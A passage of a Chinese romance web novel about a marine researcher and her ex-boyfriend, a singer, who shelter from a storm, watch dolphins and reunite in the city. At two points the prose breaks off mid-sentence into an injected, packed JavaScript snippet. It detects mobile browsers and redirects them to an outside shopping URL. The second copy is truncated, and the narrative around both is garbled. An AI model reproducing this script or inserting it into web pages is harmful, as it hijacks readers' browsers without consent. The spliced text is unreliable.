乔之也因为两人倏然拉近的距离而微微停滞,她抬眼就能看见何舟泽的睫毛上挂着一颗很小的水珠,跟着一颤一颤。 何舟泽的皮肤很白,五官锐利,往日不说话时显得清冷矜贵。此刻,他的额前碎发都湿了,这会儿虽然不再滴水,却凌乱得有些撩人。 她猛然对上他的眼睛,这对漆黑的眸子里写满了意味不明。有她熟悉的情绪,也有她未曾见过的。 伴着屋外如瀑的暴雨声,她似乎能听见他的呼吸,就和她自己重重的心跳声一样清晰。 “乔之……”何舟泽突然开口喊她的名字,声音有些低哑,语意似是未尽。 乔之不敢再看他,她低头看自己的脚尖,急忙打断了他:“何舟泽,我们换个地方避雨吧。” 心跳快得仿佛要冲出来。 再在此处待下去,乔之唯恐自己的心脏会无法承受如此猛烈的撞击。 15. 第十五章 最后他们冒雨去了观察站——比起去基地的路,观察站还是要近上不少。 尽管何舟泽的外套湿得能沥出一桶水。 “我们好像和雨天格外有缘。”何舟泽甩甩头发上的水,说道。 乔之抬头,见何舟泽又成了一副落汤鸡的模样。她自己也好不到哪去,衣角不住地淌着水。 两人看着对方狼狈的样子,不约而同地笑了起来。 乔之找出一盒抽纸,递给何舟泽:“这里是我平时观察海豚的工作站,只能满足一些基本的生活需求。” 何舟泽靠在门边,环视一周。 这个地方有配套的桌椅,桌上摆着几台监视器,旁边随意放着一沓白纸;一侧的柜子门半开着,里面堆了些杂物;最边上甚至还有一张简易的折叠床。 ——这对两个避雨的人来说,完全足够了。 他一边擦着脸上的雨水,一边还有心情开玩笑:“你这漏雨吗?” “不会,这不是茅草屋。”乔之指了指水泥筑成的天花板。 何舟泽笑了声,问道:“你这几天有在这儿看到海豚吗?” 乔之摇摇头,遗憾道:“没有。我检查了监视器,也没有捕捉到相关的影像。” “科研……果然还是辛苦。” 乔之不置可否。 有时她觉得做研究除了天赋、努力外,运气也是相当重要的一部分。 突然间,她打了个寒战。 她上午来的时候带了一张薄毯,此刻正放在折叠床上。 乔之用纸巾吸了吸身上的雨水,半干后裹起了薄毯。 她打了个喷嚏,说道:“我有一点冷,可能没办法把毯子给你了。” “我没关系,你小心感冒。” 何舟泽又四处找了找,发现了一箱矿泉水和一个热水壶。他担心乔之淋雨会生病,赶紧烧了壶热水。 “如果雨一直不停的话,我们就在这儿先将就一晚吧。”他又翻出了一袋压缩饼干,冲乔之摇了摇手上的袋子,“这里有一些压缩饼干,还没过期。你要吃一点吗?” 乔之摇摇头,她突然感觉有一些困倦。 何舟泽借走了她的手机,给小王打了个电话。 “……手机没电了……我没事,我现在和乔老师在一个观察站里躲雨……” “没事……不用担心,这边有基本物资。等雨停了,我们自己回去……” “你们还好吗……” 乔之断断续续地听见何舟泽打电话的声音,昏沉沉地睡了过去。 朦胧间她听到有人叫她“乔乔”,还听到了关灯的咔嚓声。 . 她梦到了本科时的事情。 梦里她和乐队几人在姚朔家复习复变函数的期末考。学习行进到后半段,姚朔突然神秘兮兮地抱了个瓶子走进房间。 姚朔扯着夸张的语调,献宝般将瓶子推到了桌上:“这是我爸的珍藏好酒。朋友们,咱们要不要来点?” 这种事,颜叙自然是不会错过,他当即将杯子里的水一饮而尽,将水杯往桌上重重一砸,道:“必须!快给我满上。” “大一小朋友不能喝酒。”夏安语一边数落着颜叙,一边也将自己的水杯递上,“但大二的学姐可以!” 姚朔给一圈的人都倒了一杯,最后连乔之都没有幸免。 她不太会喝酒,更何况这瓶酒既是好酒,也是烈酒。没两口她就感觉头晕,其他几人也是如此。 “乔乔、乔乔。”何舟泽靠在她身上,想要抱她。 在旁人面前他们俩很少有亲密举动,乔之这会儿也习惯性地推开了他。 何舟泽凑在她的耳边,小声地说:“抱抱我。” 每个字都落在了她的耳垂上,她敏感极了。 何舟泽还在一个劲儿地说,好像在撒娇:“抱抱我。” 乔之心想,他一定是醉了。 她知道和酒鬼毫无道理可言,于是任由他环抱着她。何舟泽的头靠在了她的肩上,柔软的头发蹭得她脸颊有些痒。 她想,她大概也醉了,所以任凭何舟泽摆布。 困倦中她听见有人叫她:“乔乔,喝点水。” 于是她听话地张嘴喝水。 而后她又听见有人说:“乔乔,这样睡不舒服,你抬头枕这个靠枕。” 于是她听话地由对方轻轻托起熟睡的脑袋。 “乔乔。” “乔乔。” “乔乔。” 乔之很奇怪,何舟泽明明也醉了,为什么还能精准地照顾到她的每一个需求? . 雨几乎要下一整夜。 午夜时分,乔之醒来时,屋外细碎的雨声已经停息。 今晚是十五满月,这会儿月光竟然能透过窗户照进来。 她不知道自己是何时睡过去的。 梦中的一声声“乔乔”似乎还在耳畔回响,她借着月光看了一圈屋内,却没看见何舟泽。 “……何舟泽?”她开口唤了一声,声音有些沙哑。 久久无人回应。 乔之从折叠床上起来,摸索着开了灯。 她被明亮的灯光晃得刺眼,待恢复视力后才发现,偌大的房间里只有她一个人。 她睡着之前,明明还听见何舟泽在和助理打电话。 难道助理来接他走了? 随即她又摇了摇头。他不可能会把她一个人留下,更何况他的外套还挂在椅子上。 乔之想拿手机给他打电话,却想起来下午的时候何舟泽的手机就已经没电关机了。 暴风雨中的海洋并不平静,这一片区域的地势低平,海岸环境复杂。 乔之突然一阵心慌。 她急忙下床,打开门便冲了出去。 “何舟泽!” “何舟泽,你能听到吗?” 她喊了许久,回应她的只有阵阵浪涛声。 乔之害怕得发抖,脑子开始闪过种种可怕的设想。她咬唇努力使自己冷静下来,推测着何舟泽有可能去了哪里。 “何舟泽——” 在她最后一次尝试喊他时,终于有了回应:“我在这!” 何舟泽的身影从雾色中出现,皎洁的月光照在他身上,乔之看见他向她挥着手。 “你醒了?怎么还跑出来了?”何舟泽小跑着过来,拉着她往观察站的小房里走。 乔之现在双腿还在发软,她紧紧抓着何舟泽问:“你去哪儿了?” 对方有些不好意思地从身后取出一束鲜花,说道:“刚刚雨停了,我就出去摘了这束花。” 淡紫色的花瓣上沾满了透明的水珠,却绽放得夺目。 ——是她下午在相机里看到的那一种。 莫名的情绪涌上心头,乔之甩开何舟泽的手,快要哭出来:“大晚上的,你为什么要乱跑?” 她无法解释她突如其来的懊恼,下定决心再也不要和何舟泽说话。 她转身就要走,却被何舟泽拉住了手臂,她抬头看见他满脸都是高兴的神色。 何舟泽不合时宜却又克制不住欣喜地问道:“乔乔……你是在为我担心吗?” 乔之抿着嘴没说话,从何舟泽手中拿走了那束野花,又把凳子上的外套丢给了他。 “外套干了,晚上气温低。” 何舟泽笑吟吟地接过外套,边穿边说:“好,你别生气了。我会照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445155|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好自己的。” 雨已经停了,但夜晚还没有结束。 两人索性等天亮再回去。 何舟泽一晚上没睡,此刻精神却极其振奋。 “前两周我在沙州看到了沙漠里的日出。”他踱步到窗户旁,透过窗玻璃看着外面的海,提议道,“今天一起去看海上日出吧。” 乔之刚刚被他吓得睡意全无,想来反正无事可做,便也答应了。 两人收拾好东西往海边走,最后找了个位置坐下,静静等待日出。 “小王说,我们节目组可能要在你们试验中心借住两天。” 乔之想到昨天的暴风雨,也觉得合情合理,毕竟在那样的天气里,露营是绝无可能的。 好在风鸣岛试验中心每年都会接待高年级本科生来做暑期科研训练,房间充足,接纳一个节目组不成问题。 “我们食堂阿姨的手艺很不错。” 何舟泽笑笑说:“那太好了,我还以为这次露营只能吃泡面和预制菜。” 说话间,海雾慢慢消散,海平面下透出了一点金光。 何舟泽抓起相机,说道:“日出要开始了。” 他开启了视频模式,一边随口说着:“我现在正坐在海边看太阳渐渐升起,耳边有浪声作伴……” 他没有事先写台词,大多数时候保持着沉默,只将内心的真实感受一一道来。 何舟泽的声音很好听,偏低的声线却并不喑哑,言语流动中带着一丝清亮。就像晨间的海风,明明包裹着大海巨大的力量,却在人们耳畔温柔克制地停下,不紧不慢地讲述着远方的故事。 待太阳整个露出海面,乔之听到他这样作结:“这是我最难忘的一场日出。” “基地早上几点开饭?”收好相机后,何舟泽突然问道。 乔之想了想说:“六点半到七点之间?” 听罢,何舟泽又扬起了嘴角:“现在还不到六点,不如我们一路逛回去吧。” 乔之觉得自己大概是疯了,竟然再一次纵容了何舟泽天马行空的想法。 何舟泽明明也才上岛两天,记忆力却惊人的好。 他一路带着乔之重访他用视频记录下的地方,昨日她隔着屏幕见到的东西——比如白糖比食盐贵十倍的小卖部、某户人家屋檐上还有燕子往来的鸟巢,都一一出现在了她眼前。 最后,何舟泽带她在一个破旧低矮的房子前停下。 “?”乔之不解地看着他。 何舟泽指了指门框上几乎已经完全掉色的牌匾道:“——这里,是财神庙。” 天已经渐渐亮起来,乔之的视线穿过敞开的大门,确实看见了一方小小的神台,还有上方墙壁上斑驳的财神爷画像。 简陋破败的神庙,连一尊真正的神像都没有,却寄托了岛民们最淳朴的心愿。 何舟泽拉着她就要往里面走。 “大明星还嫌钱赚不够吗?”乔之玩笑道。她知道她和何舟泽都不是物欲高的人。 何舟泽打趣道:“没人会嫌钱多。不过呢,我是来求财神爷帮我转达心愿的。” “?” “他们神仙之间应该互相认识,我们的愿望肯定能被转接给相关部门。” 乔之听了他的这番理论,竟挑不出毛病来,于是最后她也虔诚地拜了拜财神爷。因为这愿望还要转手,她不敢许太复杂的,只恳求在离开风鸣岛前能亲眼见到野生海豚。 走出财神庙后,乔之问何舟泽:“你刚刚许了什么愿望?” 没想到何舟泽只是神秘一笑:“说出来就不准了,等实现了我再告诉你。” 乔之也没想着刨根问底,两人便各自怀揣着秘密走回了试验中心。 16. 第十六章 基地门口的空地上,三三两两围着些人在调试设备。 这些人看起来都像是节目组的人。 突然,有一位眼尖的工作人员瞧见走进基地的两个人,看清脸后便大声喊起来:“何老师,您总算回来了。” 这一声,喊得在场的各位纷纷回头。见是何舟泽回来了,大家便马上围了过来。 “您这一晚上不见踪影,我们都急疯了。” “悬着的心总算放下来了。” …… 尽管昨天半夜何舟泽报过平安,但一晚上见不着人,节目组还是放不下心。毕竟要是出了事,他们可担不起责。 何舟泽略带歉意地一一解释着:“抱歉,昨天雨太大,无法及时赶回来。” 外面的喧闹引起了屋里人的注意,更多人走了出来。 一个戴着黑框眼镜的中年男人冲过来,拉着何舟泽细细打量,确认他一切安好后才重重舒了口气道:“还好你没事。” “郭导,我这么大人了,躲个雨能出什么事?”何舟泽笑着说。 被换作“郭导”的男人没好气地拍了拍何舟泽道:“臭小子,我昨天一晚上没睡着!” 然后他发现站在一旁的乔之,又礼貌地打了个招呼:“这位就是带何舟泽躲雨的老师吧?我是节目组的导演,太感谢您、还有江大海洋学院了!” 乔之客气地回复了一句,还未多说,又一个人影冲到面前。 “乔乔!”祝声的声音里带着惊喜和关心,“终于把你盼回来了!还好你昨天在观察站附近,可以临时躲一躲。” 乔之笑着说:“你们昨天还好吗?” “我们在中心一切都好。诶?”祝声这会儿注意到了一旁的何舟泽,好似是认出了什么,“这不是……” 郭导忙介绍道:“祝老师,这是何舟泽。” 何舟泽闻言也礼貌点了点头:“您好,叨扰了。” 乔之生怕祝声说出什么见过何舟泽前两天送过她,赶忙打岔道:“我们先进去吃饭吧。” 这才匆匆打断话题。 进食堂的路上,祝声偷偷瞟了两眼何舟泽道:“我才认出来,原来那天送你回来的人是何舟泽。” 乔之赶紧将她拉远了,小声道:“我们是大学同学,只是碰巧遇见。” 祝声一副“我懂”的表情,笑嘻嘻没再说话。 吃饭期间,乔之才了解到昨天节目组扎的营地被暴风雨摧毁殆尽,海上的情况也无法返航,所以他们只能滞留岛上。 因为天气状况完全超出预报估测,他们没有更好的应急方案,只能来试验中心求助。在紧急与院里的领导申请了特例后,节目组工作人员和嘉宾都住进了基地。如果岛上没有试验中心,他们大概真的会走投无路。 祝声叼着筷子道:“哦,你知道吗?这个节目的阵容好强大,昨天我妈知道张芙住我隔壁,怂恿了我一晚上去要合照。” 乔之笑说:“那你去要了吗?” “何止啊!我妈甚至要求我开着视频带她入镜,最后还是找人帮忙拍的。” 祝声提到的张芙是华语乐坛老一辈家喻户晓的资深女歌手,金曲无数。 乔之想起来刚刚进门时看到有人在布置场地,于是问道:“他们今天是打算在楼前那片空地上拍摄吗?” 祝声说:“是啊。实验楼肯定不能进人,其他地方也到处都是标语。这儿毕竟是个试验岛,要是节目播出之后成景点就麻烦了。” 乔之点点头,表示赞同。 照节目组嘉宾的配置来说,这个综艺自带大量关注度,如果保密工作没做好,日后他们的科研工作肯定会受影响。昨天院里同意接纳节目组的前提就是严格保密地点,隐去所有可能泄露地址的内容。 祝声再次压低声音道:“你和何舟泽昨天怎么会一起避雨?” 乔之知道她还在揶揄自己,无奈道:“我说这也是个意外,你会信吗?” “这不就是缘分吗?我感觉他看你的眼神不一般。” 祝声才见过何舟泽两面,就能说得这么信誓旦旦。 虽然乔之自己也觉得他们俩这几天的相处又有一些走偏,但还是不得不惊讶于她的敏锐度。 不过她只是搪塞:“大明星毕竟时常见粉丝,看谁都深情。” 早饭过后,乔之托食堂的王阿姨给自己另外打包了一份午餐,准备继续蹲守观察站。 出门的时候,节目组正在录制。 嘉宾一排坐在临时搭起来的长桌前听导演介绍游戏规则,何舟泽坐在靠外边的位置,身上已经换了一套衣服。 他今天穿了件牛仔外套,看起来格外青春。 乔之敛了呼吸,悄悄从边上绕过。 何舟泽似是看见了她,一边回应着其他嘉宾的话,一边微挑了挑眉,手轻轻抬了抬,好似在和她打招呼。 乔之的心又突然开始加速跳动,她赶紧扭头就走。 - 今天依旧没什么收获,乔之在观察站空坐了一整天。 收拾东西准备打道回府之前,她注意到折叠床边放了杯喝过的水,显然是何舟泽昨天倒的。 脑子里突然闪过什么画面,是何舟泽在说:“乔乔,喝点水。” 乔之的记忆忽然有些错乱了,一时分不清那到底是在梦中抑或是在大二那年的期末考试周,还是昨晚真实发生的事。 她拿出手机,想发微信问一问,却发现不知道该如何开口。 问他“你昨晚是喂我喝水了吗”听上去就很奇怪,这毕竟只是一件无关痛痒的小事。可是不知怎么,她突然很想知道。 【H:?】 【H:你输入了五分钟,还没打完吗?】 何舟泽的头像首先出现在对话框左侧。 乔之咬咬牙,发了句:【我昨晚睡觉的时候是喝水了吗?】 ……听上去好像更奇怪了。 何舟泽回过来一条语音,乔之点开,听见他声音里隐含笑意:“你昨天睡着后有点咳嗽,我给你倒了杯水。不过……你只肯张嘴,不肯拿杯子。” 乔之立马定在了原地,原来那句话不是在梦中。 她向来有起床气,没睡醒前还很爱使唤人。 以前她一直不知道这件事,认识何舟泽后才逐渐凸显。 . 最初是在大一那年冬天。 当时流感严重,乔之不免也中了招。 某天上午上自习前她吞了颗感冒药,没想到在自习教室坐着坐着便睡着了。临近午饭时间,何舟泽才把她摇醒。 乔之迷迷糊糊间听见自己说:“我好困,不想动。” “先去吃饭,吃完再回来睡。” “呜……那你帮我收拾书包。” 男生掩着笑,说:“好,我帮你收拾。你先清醒清醒。” 等乔之完全反应过来时,睁眼看到的是何舟泽拿着她的书包,脸上满是调笑的意味。 “……对不起。我没睡醒说胡话了。”她赶紧接过自己的书包,懊恼地道歉。 何舟泽笑着耸耸肩道:“没关系。刚刚你和平时还挺不一样的。” 后来类似的事情发生了无数次,两人在一起后,她更是变本加厉。 乔之回回都很愧疚。 何舟泽却说:“你平时什么都要靠自己,这一时半会儿就多使唤使唤我吧。我很开心。” 于是她便被纵容了许多年,直到两人分手,她才终于能在这样的时刻也全靠着自己。 后来她常常会想,其实她大概也贪恋这半刻的不清醒,想短暂地将自己交由他。 - 乔之回到营地时,节目组已经将白天布置的场地拆了。 祝声搬了张凳子正在楼下大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前面两位嘉宾分别演唱了两首耳熟能详的经典歌曲,现场都在跟唱。紧接着的沈星驰也选了首节奏感十足的歌曲。他童星出身,二十出头的年纪就有了实打实的舞台经验,接着前面两位前辈带动起来的气氛,这会儿现场氛围彻底被点燃了。 沈星驰刚完成一个唱跳舞台,这会儿却是连气都不用喘,马上又接上了自己的主持工作:“下一位,有请——何舟泽!” 现场又是一阵掌声。 何舟泽背着一把吉他走上台,笑着接过话筒说:“谢谢星驰弟弟。” “不知道阿泽哥今晚准备带来什样的精彩演出呢?” 何舟泽打趣道:“很抱歉,我只会唱不会跳,所以给大家准备了一首原创。” “哇,不会是这两天刚写的歌吧?” 何舟泽点点头,沈星驰又是捧场地惊呼:“好可怕的创作能力。” 何舟泽抓起吉他,坐在了舞台正中央。 他说:“这首歌叫《暴雨来临的时刻》,还比较粗糙,请多指教。” 不知是谁配合得关掉了现场的大部分灯光,只留下舞台上的几盏射灯。 何舟泽坐在光里,抱着吉他吟唱。 “ …… 暴雨来临的时刻, 雨滴在呢喃什么。 它说打开幕布, 去看看那个来者。 …… ” 路边不碎的野花、破败荒芜的村舍、雨幕里的来者……每一行每一句,都在诉说着他们共同走过的那些时刻。 在黑暗中,乔之的心脏狂跳。 最后一个音符落下,现场响起热烈的掌声。 祝声悄悄趴在她耳边说:“我刚刚觉得沈星驰已经很帅了,没想到和何舟泽比起来还是黯然失色啊。” 灯光亮起。 乔之低头揉了揉眼,再次抬头看向舞台时,何舟泽正对她灿烂地笑着。 17. 第十七章 第二天上午,节目组一早开始收拾东西准备返航。 乔之下楼时看见进进出出搬设备的工作人员,这才想起何舟泽说过他们比她提前一天走。 她本想在早饭时简单道个别,不成想找遍食堂,也没看见他的身影。 乔之心里有些难以察觉的失落,但随即又想起他们约好回江临一起吃顿饭,便觉得这道别也可有可无。 她翻出手机,在微信上简单地祝他们一路顺风。 何舟泽竟然很快就回拨了个电话。 “乔乔,我、我……”电话那头的声音气喘吁吁。 “?” 还没等乔之问一句“怎么了”,就听到何舟泽兴奋地叫道:“我看到海豚了!” 这下连乔之也雀跃起来:“什么?在哪里?” 她等这一刻已经很久,甚至做好了无功而返的心理准备。 何舟泽说:“就在观察站这边,你快来。” 乔之早饭都没吃完,赶紧放下餐盘就跑出了基地。 她一路向东小跑着。这一条路她每天都会走过,但没有哪一次怀着像现在这样既期待又焦急的心情。紧张从她的脚底爬上心头,她不停地心里祈祷着海豚不要太快离开,至少能让她看一眼。 等快到拐弯,环岛公路渐渐弯折,最后消失在树林和天空的交界处。 她远远看见何舟泽朝她招手:“乔乔!快来,它们还在!” 乔之跑向他,何舟泽抓着她的手往沙湾处跑:“来这边。” 两人小跑了一路,快靠近海边时,乔之看见一群海豚相继飞跃出水面。优美的身形扬起阵阵水花,在阳光下闪烁着。每一片浪花都在兴高采烈地欢叫。 她屏住了呼吸,整颗心都被填满了。 连着几天的等待在这一刻得到了回报。 微怔了片刻,乔之才想起正事。她急忙丢下何舟泽,匆匆跑进观察站,确认监视器还在工作状态。 观察站的水下相机和陆上监测器实时开着,确保能记录下每个海豚可能出现的时刻。 何舟泽看着她克制不住欣喜的背影和自己被甩开的手,无奈笑了。 他的手还残留着一点她的温度。 她刚刚完全没注意他们俩是牵着手跑了一路。 乔之检查了监视器后,又取了两副望远镜走出来。她带何舟泽选了个好位置仔细观察海豚出没的海域。 这群海豚在这片浅沙湾停留了十几分钟,期间一直在嬉戏玩闹。 乔之粗略估计了一下,道:“这应该是这几年来,这片海域所出现的最大规模的海豚群。这证明,这片海域持续进行的生态改善行动是有效的,这儿会成为很好的海豚观察点。” 海豚在视野里渐渐消失不见,她放下望远镜,笑盈盈地看着何舟泽说:“原来财神爷真的能听到我的心愿!” 何舟泽惊讶道:“你的愿望是看见海豚?” 乔之点点头:“嗯。真的好灵!” “确实。我的愿望也实现了。”何舟泽笑了一声,突然说道。 “?” 乔之没想到这个偏远小岛上的财神庙短短两天就显灵了两次,他们俩的愿望竟然都实现了。 她想起何舟泽保密的心愿,问道:“你的愿望是什么?” 何舟泽保持着笑容,伸手将乔之被海风吹散的头发拢到耳后,轻轻说:“我的愿望是,希望你的愿望能够实现。” - 祝声半夜从实验楼走出时,看见一楼连廊的灯还没关。 走近看,是乔之坐在院子的台阶上发呆。 “乔老师,大半夜不睡觉,在看星星呢?”说完,她又抬头看了眼天空。 月亮皎洁明亮,光辉遮盖了其他的星芒。 “啊……月朗星稀,今晚没星星。” 乔之听见她的声音,转头招了个手,没说话。 祝声径直在她身边坐下,手肘压在膝盖上,手托着下巴打量了她片刻,问道:“有心事?” 乔之扯着嘴角笑了笑,说:“算不上。” 祝声用手在空中比划了两下,说道:“我可是在乔老师这张波澜不惊的脸上看见了一丝裂痕。” 乔之想了想后开口:“我有个朋友……” 祝声:“你直接说你自己吧。” 乔之被瞬间揭穿试图蒙上的面纱,只好换了个说辞,开口又是:“我有个朋友……真的是朋友,我觉得他可能有点喜欢我。” “你说何舟泽?”祝声再次语出惊人。 乔之愣了愣道:“你怎么知道?” “如果是何舟泽,那不用‘可能’。他一定喜欢你。” 乔之微张着嘴,震惊道:“啊……他很明显吗?” 祝声托腮想了想,似是在回忆这几天见过何舟泽的场景。 她缓缓道:“倒也没有很明显,旁人要是不熟悉你俩,不一定能看得出。” 乔之不解:“那你……?” 祝声轻咳一声:“但是——我从小学五年级开始谈恋爱,这方面的感知有点天赋。况且,你和他相处的时候,和平时很不一样,我一眼就看出不对劲了。” 祝声又坐近了点,用手肘碰了碰乔之,问道:“你不喜欢他吗?” 乔之怔住了,半晌才开口:“和这个没关系。” “哦——那就是喜欢。”祝声见乔之还想开口解释,马上换了个说法,“好感,有好感行了吧。” 何舟泽这样的人,这样天之骄子般的人物,如果满心满眼对你好,任凭谁都很难不心动。 乔之低下了头,也压低了声音道:“这件事和我的感受无关,和他是不是喜欢有关。” “这怎么能和你无关呢?谈恋爱不就是要互相喜欢吗?” 乔之沉默了片刻没说话,好久才开口:“可是,我不希望他喜欢我。” 这回轮到祝声惊讶了,在她的恋爱观里,何舟泽光是有那张脸、那个身材,就足够成为约会对象了——合不合适另说。 她问:“他有什么缺陷?还是你担心他的职业会给你带来什么困扰?” “没有。不完全是。” 乔之确实不是张扬的人,何舟泽身在娱乐圈,一言一行都受到极大的关注。如果她为此困扰,倒也说得通。 祝声又提议道:“不过我看他也不是走流量那条路的,粉丝应该不会太反对吧。而且娱乐圈地下恋不是也挺多的嘛,先谈着再说呗。说不定谈几天就发现不合适,根本碰不到这些问题。” 乔之犹豫了会儿,说道:“我们在一起过。 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她定了定,一字一句地说道:“我不是担心私生活被打乱,而是……我不想永远被挂以‘某某的女朋友’这样名号。就连他喜欢我,到别人口中我也会成为‘那个何舟泽喜欢的女生’。只要和他站在一起,我就无法拥有自己的名字,我觉得自己就好像他人生中的NPC。你明白这种感觉吗?” “我花了很多努力,从小到大都在证明,我是一个独立的、自由的、勇敢的人。可一旦我与某个人扯上关系,这些就好像会化为泡影。” 祝声微怔了片刻,她笑着说:“可是乔乔,在我这,他也永远只是‘乔之的男朋友’或‘乔之的前男友’。” “还有哦,面对感情视而不见,我觉得算不上‘勇敢’。” 乔之勉强挤出了一个笑,似是在自我安慰:“不过或许他只是本着朋友的义务关照我,并不是还喜欢着我。” 毕竟他们目前为止的相处,多半算不上越界。 祝声见她的神色依旧为此烦恼着,于是道:“那你要不直接问问他?” 说罢,她想到乔之的性格,小心提议道:“或者……试探一下?” 乔之“嗯”了声,却忽然发觉自己不想再深究这个问题了。如果能够一直保持现状,做何舟泽口中的“朋友”,她觉得大概也是不错的。 这是她一点小小的私心,藏在最深处不为人知的堕落面。 祝声继续感慨道:“分手六年他还喜欢你,你们还能重逢——这是多么不可遇的缘分。” 乔之想起这几场不期而至的雨,几次意料之外的相遇,似乎真的是有谁在遗憾他们的结局,来创造一个个重逢的巧合。 连她有时都快迷失其中。 两人坐在台阶上默默看了会儿月亮。 祝声突然出声,像是思考了很久:“你说的那个问题。我想,如果是我,我会走到每个人面前,告诉他们‘我是祝声’。” 乔之闻言,忽然间有些鼻头发酸,她终于意识到了她和祝声的不同。 因为祝声是这么的自信、勇敢,而她躲在坚硬外壳之下,内里依旧脆弱不堪。 18. 第十八章 《旷野之声》每一期户外部分拍摄完成后,正式舞台会在隔周的周一开始录制,中间会给艺人们留四天时间完成编曲和舞台设计等事务。 何舟泽往常都在京市进行歌曲制作,但这一次户外拍摄的地点风鸣岛和江临市更近,中间几天正好没安排别的工作,于是他索性就留在了江临。 再者……他也想和乔之多见见面。 这一次录歌比以往更加顺利,风鸣岛留给他无尽的灵感。 乔之比何舟泽晚一日从风鸣岛回来,她依旧和海洋馆约了周五下午的时间去看海豚奇奇。 何舟泽约她在周五晚上吃饭,餐厅与海洋馆相距不远,正好也免了她来回多跑一趟。 【H:你下午在海洋馆吗?】 【Jo:嗯,刚好离餐厅不远,到时候我自己过去。】 【H:好,待会儿见。】 离约好的时间明明还有四五个小时,算不上“待会儿”,不过乔之也没放心上。 然而等到了海洋馆,乔之才意识到不对。 虽说现在仍然是国庆假期,但今天海洋馆的人流量还是超乎想象。况且江临市海洋馆主打科普活动,往常来的游客里以亲子和中小学生居多,但今天人群中却是年轻人占了多数。 待走近了看,乔之才看见不少人手中举着小小的横幅或海报,上面印着的人她再熟悉不过——是前几日才刚刚见过的何舟泽。 “今天是在这边拍摄什么呀?” “你没看超话吗?哥哥是来拍宣传片的。” “都一点多了,怎么还没到……” …… 耳边时不时传来琐碎的谈论声,乔之这才明白过来,何舟泽今天是来替她还债的。 她突然想起不久之前,去姚朔家吃饭的路上,他曾问过她一般什么时候来海洋馆工作。 不知为何,她心里隐隐有一种他是故意选了今天拍摄的感觉。 想到这,她的情绪又复杂了几分,两股截然相反的思潮相互制衡着,她整颗心都胀痛着。 海洋馆为乔之办理了临时的工作证,她避开人群走了员工通道。 到了海豚生活区域,小徐正在水边作业。 他见乔之来了,伸手打了个招呼:“乔老师!” 除了小徐以外,场地里还有其他几位工作人员也在。 前几次乔之来的时候,没见过这么多人。 她问道:“今天大家怎么都在?” 小徐在板子上飞速记着什么东西,头也没抬道:“今天何舟泽来拍摄宣传,海洋馆不对外开放,所有表演都取消了。” 乔之了然,点点头。 “乔老师,等会儿他们可能会来海豚馆拍一段,我们几个到时候都会出去。这周的监测结果我放在办公室桌上了,等会儿您自己过去取,可以吗?” 小徐盖好笔盖,理了理手头的东西,站起身来。 乔之已经来了好几次,对这边大致都已经熟悉,于是她点头道:“没问题,祝你们一切顺利。” 饲养员们各自带着几只海豚游出了生活区,乔之独立留在场馆里观察奇奇。 她没有办法每天都来,因此拜托了小徐帮忙记录日常表现。她完成了今天的任务后,又到小徐的办公室整理这一周的材料。 不知不觉中,一下午的时间很快就溜走。乔之沉浸资料之中,一时忘记了时间。 “笃笃笃——”有人敲响了办公室的门。 乔之从书案中抬头,看见何舟泽笑意吟吟地靠在门边。 他身上还穿着印有海洋馆字样的T恤。 何舟泽的身材很好,宽肩窄腰,身姿挺拔,把一件文化衫穿出了时尚单品的感觉。 “请问乔老师结束工作了吗?小的有点饿了。”他故作烦恼道。 乔之看了眼时间,才发现已经快到饭点。 她赶紧收拾东西,起身道:“抱歉,没注意时间。” 何舟泽走过来,无比自然地帮她收拾资料。 他道:“不急,我也刚结束。这一叠你要带走吗?” 乔之看了眼他手上的材料,顺手接过:“要的。那边有两张纸可以递给我吗?” 何舟泽伸手拿过远处的两张表格,心里却微微一动。 这个场景日常、随意——让他错以为又回到了大学。 乔之收拾好资料,背上包和他往外走。 她想到来时门口的粉丝,问道:“门口有很多你的歌迷,我们直接出去没问题吗?” 何舟泽娴熟地从她手上拿过一个文件袋,答道:“我们待会儿从员工通道走。” 末了,他又调侃:“怎么?你怕和我传绯闻吗?” 乔之想到两人刚见面时,何舟泽还威胁她不进门会被送上热搜头条。 “是啊。毕竟你的身份有些特殊,有时免不了一些不必要的关注。”她一字不差地把原话还给了他。 何舟泽自然也记得这一段,一时被她的话轻噎了下。 旋即,他轻笑了声,道:“你记性还真是好。放心吧,我刚刚出去见过一面了,现在方鸣应该已经去疏散了。” 最后为了避免个别粉丝还在附近逗留,何舟泽借了辆低调的车子,没和工作团队一起走。 工作了一下午,乔之满脑子都还是刚刚看过的数据,何舟泽也没刻意开口找话题。 只是偶尔几句闲聊,乔之却觉得以过去几周任何时刻都要轻松,就好像何舟泽又以某种方式成为了她所习惯的存在。 车子弯弯绕绕,最后在一家不起眼的小店附近停下。 店名叫“幸福小厨”——重名率100%。店内的装潢也很是普通,看不出特别之处。 何舟泽预订了间包厢,服务员领着两人绕过大堂,走到走廊深处。 待两人坐下后,又有人送来了两份菜单。 乔之见菜单上都是些家常菜,她没什么特别的喜好,便都全由何舟泽安排,毕竟也是他请客。 何舟泽倒像是来了很多次,菜单都没翻几页,就已经点好了菜。 乔之见他娴熟的动作,问道:“你常来这儿吃饭吗?” 何舟泽合上菜单,替乔之拆了副碗筷道:“前些年我不常在江临,每次回来都要在这儿吃一顿。” 乔之是土生土长的江临人,从前却从未听说过这家餐厅,想来也不是什么老字号。左看右看,也想不出何舟泽常来的理由。 她心里存着疑惑,等菜快上齐了,她尝了口咸蛋黄炒年糕,才感觉到一点奇异。 她的瞳孔微缩:“……这个味道好熟悉。” 